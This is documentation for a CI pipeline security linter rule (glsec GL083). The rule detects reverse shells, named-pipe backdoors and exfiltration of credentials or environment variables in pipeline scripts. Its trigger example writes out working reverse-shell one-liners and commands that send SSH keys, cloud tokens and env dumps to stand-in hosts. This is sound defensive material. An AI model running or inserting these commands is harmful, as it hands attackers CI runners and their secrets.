Rules / GL083
GL083 Reverse shell, backdoor or credential exfiltration in script
Severity: error; warn for a /proc/<pid>/mem read without a network send
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution
What glsec checks
A script line that connects the runner back to a host of the author's choosing and hands it a shell. glsec looks at every script surface: script:, before_script:, after_script:, default:, hooks:pre_get_sources_script, and run: steps.
| Pattern | What has to be on the same line |
|---|---|
| Shell redirected to a socket | /dev/tcp/ or /dev/udp/, plus an interactive shell (bash -i) |
| Netcat with command execution | nc, ncat or netcat with -e, -c or --exec/--sh-exec, whose argument names a shell |
| Named-pipe backdoor | mkfifo together with a netcat invocation |
| socat with a program endpoint | socat with EXEC: or SYSTEM: and a network address (TCP:, TCP-LISTEN:, UDP:, OPENSSL:) |
| Interpreter socket one-liner | python, perl or ruby with a socket API plus dup2, subprocess, pty.spawn or exec |
Credential sent to a network host
The other common injected payload does not open a shell. It reads a credential the runner holds and sends it somewhere. A credential source has to reach a network send on the same line:
| Credential source | |
|---|---|
| Credential file | ~/.ssh/id_* (not *.pub), ~/.aws/credentials, ~/.docker/config.json, ~/.kube/config, ~/.netrc, ~/.git-credentials, ~/.config/gcloud/…, also spelled $HOME/…, /root/… or /home/<user>/… |
| Minted token | gcloud auth print-access-token, gcloud auth print-identity-token, aws ecr get-login-password, az account get-access-token |
| Pattern | What has to be on the same line |
|---|---|
| Credential file uploaded | the file as the value of curl -F name=@, -d @, --data-binary @, -T, --upload-file, or wget --post-file= |
| Credential piped to a network tool | a credential source in one pipeline stage and, in a later stage, nc/ncat/netcat, or curl reading stdin (@-, -T -) |
| Credential written to a socket | a credential source plus a redirect to /dev/tcp/ or /dev/udp/ |
| Credential copied to a remote host | scp with the file as a source argument and a host: destination after it |
Environment and process memory sent to a network host
The job's environment holds every CI/CD variable, masked ones included, so a dump of it is a credential source too:
| Environment source | |
|---|---|
| Full dump | env or printenv with no arguments (the same check as GL062) |
| Another process | /proc/<pid>/environ or /proc/<pid>/mem, where <pid> is a number, self, *, $VAR or $(…) |
| Process listing with environments | ps run with the BSD e modifier (ps auxe, ps eww); ps -e only selects processes |
| Pattern | What has to be on the same line |
|---|---|
| Environment piped to a network tool | an environment source in one pipeline stage and a network send reading stdin in a later one, as above |
| Environment sent in a request | an environment source inside $(…) or backticks, and curl, wget, nc, ncat or netcat elsewhere on the line |
| Environment written to a socket | an environment source before a redirect to /dev/tcp/ or /dev/udp/ |
Reading /proc/<pid>/mem is reported as warn even without a network send. CI jobs have no reason to read another process's memory, and it is how injected code scrapes masked secrets from the runner process.
Every check needs a combination. Each token on its own has an ordinary use in CI, so none of them fires alone.
Why it matters
The pipeline file is code that runs with the runner's full environment before anyone sees a result: CI_JOB_TOKEN, every masked variable the job declares, the checked-out source, and whatever the runner can reach on the network. One connect-back or upload line inside a longer script: block is easy to skim past in review.
GL011 covers the other half of this problem, code fetched from a remote host and executed. A reverse shell fetches nothing, so GL011 never sees it.
Trigger example
debug-job:
stage: test
image: alpine:3.19.1
script:
- bash -i >& /dev/tcp/198.51.100.7/4444 0>&1 # error
- nc -e /bin/sh 198.51.100.7 4444 # error
- mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 198.51.100.7 4444 > /tmp/f # error
- socat TCP:198.51.100.7:4444 EXEC:/bin/bash # error
- cat ~/.ssh/id_rsa | nc 198.51.100.7 4444 # error
- curl -F "f=@$HOME/.aws/credentials" https://collect.example.net/u # error
- gcloud auth print-access-token | curl -d @- https://collect.example.net/t # error
- env | curl -d @- https://collect.example.net/e # error
- curl -d "$(cat /proc/*/environ | base64)" https://collect.example.net/e # error
- cat /proc/$PID/mem > /tmp/m # warn
What is not flagged
These are the idioms that a looser rule would break:
script:
- timeout 1 bash -c "cat < /dev/null > /dev/tcp/postgres/5432" # wait for a service, no interactive shell
- if (exec 3<>/dev/tcp/postgres/5432) 2>/dev/null; then echo up; fi # the same probe, read-write form
- nc -z postgres 5432 # port check, no -e/-c
- nc -lc "printf 'HTTP/1.1 200 OK\n\n'; cat report.json" -l 8080 # one-shot responder, the command is not a shell
- socat TCP-LISTEN:15432,fork TCP:postgres:5432 & # port forward, no program endpoint
- socat EXEC:'psql -c "select 1"',pty,setsid,ctty STDIO,ignoreeof # local command, no network endpoint
- mkfifo /tmp/logpipe && tail -f /tmp/logpipe # named pipe without netcat
- rsync -e "ssh -i ~/.ssh/id_rsa" -az dist/ user@host:/srv/ # rsync's -e, no word boundary before "nc" in "rsync"
- echo "$DOCKER_AUTH_CONFIG" > ~/.docker/config.json # the job writes the credential file
- aws ecr get-login-password | docker login --username AWS --password-stdin "$ECR" # token handed to a login command
- curl -H "Authorization: Bearer $(gcloud auth print-access-token)" https://storage.googleapis.com/… # token used, not sent as data
- scp -i ~/.ssh/id_rsa dist.tar.gz deploy@host:/srv/ # the key scp logs in with
- scp ~/.ssh/id_ed25519.pub deploy@host:/tmp/ # public key
- curl --netrc-file ~/.netrc -O https://files.example.com/a.tgz # authenticates with the file, does not upload it
Sending a $…_TOKEN variable to an external host is deliberately not a pattern. curl -H "Authorization: Bearer $SONAR_TOKEN" is how every API call authenticates, so that check would be almost entirely false positives.
The read-write descriptor form deserves a note of its own. exec 3<>/dev/tcp/host/port reads like a reverse shell but is the ordinary way to probe a port in bash, and it appears in unrelated projects as a wait-for-service loop and even as a raw HTTP/1.0 client. What separates the two is the interactive shell, not the direction of the redirect.
Notes
- Quoted substrings are not stripped before matching. GL011 strips them so that a
| bashinside a string literal stays quiet, but a reverse shell is routinely wrapped asbash -c "bash -i >& /dev/tcp/…", and stripping quotes first would remove the payload. - Each physical line is evaluated on its own. A
|block scalar reaches the rule as one script item, so without splitting, a netcat on one line would pair with a shell flag several lines below it. The reported message quotes the offending line, not the whole block, though the position still points at the start of the block. - A line is reported once, even when it carries more than one of the patterns above.
- The credential file list is fixed and covers the default locations. A credential moved to a custom path first (
cp ~/.aws/credentials /tmp/c; curl -F f=@/tmp/c …) is out of reach. - The rule reads the literal script text. A payload assembled at runtime from variables, or decoded from base64 into
sh, is out of reach here; the base64 case is GL011's.
See also
- GL011 — download-and-execute in script
- GL016 — insecure transport in script and includes
- GL078 — invisible Unicode control characters that hide what a line really is
Documentation for glsec 1.23.0. Source of this page · Rule implementation